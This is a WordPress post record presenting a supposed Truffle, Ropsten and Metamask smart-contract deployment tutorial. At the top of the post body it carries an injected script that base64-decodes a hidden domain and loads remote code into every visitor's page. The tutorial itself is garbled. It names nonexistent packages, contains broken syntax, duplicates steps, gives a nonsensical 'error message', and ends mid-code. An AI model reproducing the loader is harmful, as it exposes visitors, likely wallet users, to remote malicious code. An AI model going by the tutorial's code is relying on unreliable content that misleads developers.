{"id":10225,"date":"2025-02-13T08:16:57","date_gmt":"2025-02-13T08:16:57","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=10225"},"modified":"2025-02-13T08:16:57","modified_gmt":"2025-02-13T08:16:57","slug":"metamask-how-to-deploy-smart-contract-using-truffle-and-ropsten-with-metamask-account","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=10225","title":{"rendered":"Metamask: How to deploy smart contract using truffle and ropsten with Metamask account"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=2c4a0412\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Implementing Smart Contracts with Metamask and Truffle<\/strong><\/p>\n<p>In this article, we will walk through the process of deploying smart contracts using Metamask and Truffle on a Ropsten testnet. We will also cover an issue you might encounter when trying to migrate your contract.<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<ul>\n<li>Node.js (LTS or newer)<\/li>\n<\/ul>\n<ul>\n<li>Truffle CLI (<code>npm install -g truffle<\/code>)<\/li>\n<\/ul>\n<ul>\n<li>Metamask Wallet<\/li>\n<\/ul>\n<p><strong>Step 1: Create a new project and configure settings<\/strong><\/p>\n<p>Create a new directory for your project. and initialize it with <code>truffle init<\/code>. Add the following configuration to your <code>metamask.js<\/code> file:<\/p>\n<p><pre><code><\/p><p>const Metamask = require('metamask');<\/p><p>module.exports = {<\/p><p>\/\/ Your account name. (e.g. \"your_account\")<\/p><p>mnemonic: \"Your mnemonic\",<\/p><p>\/\/ The network you want to use<\/p><p>network: {<\/p><p>ropsten,<\/p><p>},<\/p><p>\/\/ Metamask wallet password (this will be used as the key for the contract)<\/p><p>password: \"<password>\",<\/p><p>};<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 2: Create a new smart contract<\/strong><\/p>\n<p>Create a new file called &#8220;contract.js&#8221; and add the following code:<\/p>\n<p><pre><code><\/p><p>const Web3 = require('web3');<\/p><p>const Web3Contract = require('web3-ethereum-contracts');<\/p><p>class MySmartContract {<\/p><p>constructor() {<\/p><p>this.web3 = new Web3(new Web3.providers.HttpProvider('<\/p><p>const contractAddress = '0xYourContractAddress';<\/p><p>const contractabi = <code>{\"version\": \"1\", \"name\": \"MyContract\", \"functions\": [\"myFunction\"]}<\/code>;<\/p><p>this.contracts = new Web3Contract(this.web3, contractAddress, contractabi);<\/p><p>}<\/p><p>myFunction() {<\/p><p>\/\/ Call the function you want to implement<\/p><p>console.log(\"Hello from my function!\");<\/p><p>}<\/p><p>}<\/p><p>module.exports = MySmartContract;<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 3: Compile and deploy your smart contract<\/strong><\/p>\n<p>Create a new file called &#8220;compile.js&#8221; and add the following code:<\/p>\n<p><pre><code><\/p><p>const Truffle = require('truffe');<\/p><p>module.exports = {<\/p><p>compiler() {<\/p><p>returns new Trufflesolid();<\/p><p>},<\/p><p>};<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 4: Use Truffle to migrate your contract from Ropsten<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/Af_lQ1zUnoM\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>Run the following command in your terminal:<\/p>\n<p><pre><code><\/p><p>npm run compile<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will create a compiled version of your smart contract. Then use Truffle to migrate it from Ropsten:<\/p>\n<p><pre><code><\/p><p>truffle migration -- ropsten network<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 5: Update your Metamask account<\/strong><\/p>\n<p>Update the &#8220;metamask.js&#8221; file with the following configuration:<\/p>\n<p><pre><code><\/p><p>const Metamask = require('metamask');<\/p><p>const ropstenAddress = \"0xYourRopstenAccount\";<\/p><p>const ropstenPassword = \"<password>\";<\/p><p>module.exports = {<\/p><p>mnemonic: ropstenPassword,<\/p><p>network: {<\/p><p>ropsten: {<\/p><p>address: ropstenAddress,<\/p><p>password: ropstenPassword,<\/p><p>},<\/p><p>},<\/p><p>};<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 6: Deploy the contract using Metamask<\/strong><\/p>\n<p>Update the &#8220;metamask.js&#8221; file with the following configuration:<\/p>\n<p><pre><code><\/p><p>const Metamask = require('metamask');<\/p><p>const ropstenAddress = \"0xYourRopstenAccount\";<\/p><p>const ropstenPassword = \"<password>\";<\/p><p>module.exports = {<\/p><p>mnemonic: ropstenPassword,<\/p><p>network: {<\/p><p>ropsten: {<\/p><p>address: ropstenAddress,<\/p><p>password: ropstenPassword,<\/p><p>},<\/p><p>},<\/p><p>};<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Error Message<\/strong><\/p>\n<p>When you run <code>truffle migrate --network ropsten<\/code>, you should get an error similar to this:<\/p>\n<p><pre><code><\/p><p>npm run build<\/p><p><\/code><\/pre>\n<\/p>\n<p>This is because of the compiled version of your contract. It does not include any metadata that Truffle needs for implementation.<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>To fix this, you need to update the compiled contract to include the required metadata. You can do this by adding the following code to your <code>compile.js<\/code> file:<\/p>\n<p>&#8220;`javascript<\/p>\n<p>const Web3Contract = require(&#8216;web3-ethereum-contracts&#8217;);<\/p>\n<p>class MySmartContract {<\/p>\n<p>constructor() {<\/p>\n<p>const web3 = new Web3(new Web3.providers.HttpProvider(&#8216;<\/p>\n<p>this.<\/p>\n<p><a href=\"https:\/\/aretefutureconsulting.com\/2025\/02\/08\/ethereum-what-is-the-largest-number-of-blocks-that-have-ever-occurred-in-1-hour\/\">ETHEREUM WHAT LARGEST NUMBER<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Implementing Smart Contracts with Metamask and Truffle In this article, we will walk through the process of deploying smart contracts using Metamask and Truffle on a<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-10225","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10225"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10225\/revisions"}],"predecessor-version":[{"id":10227,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10225\/revisions\/10227"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}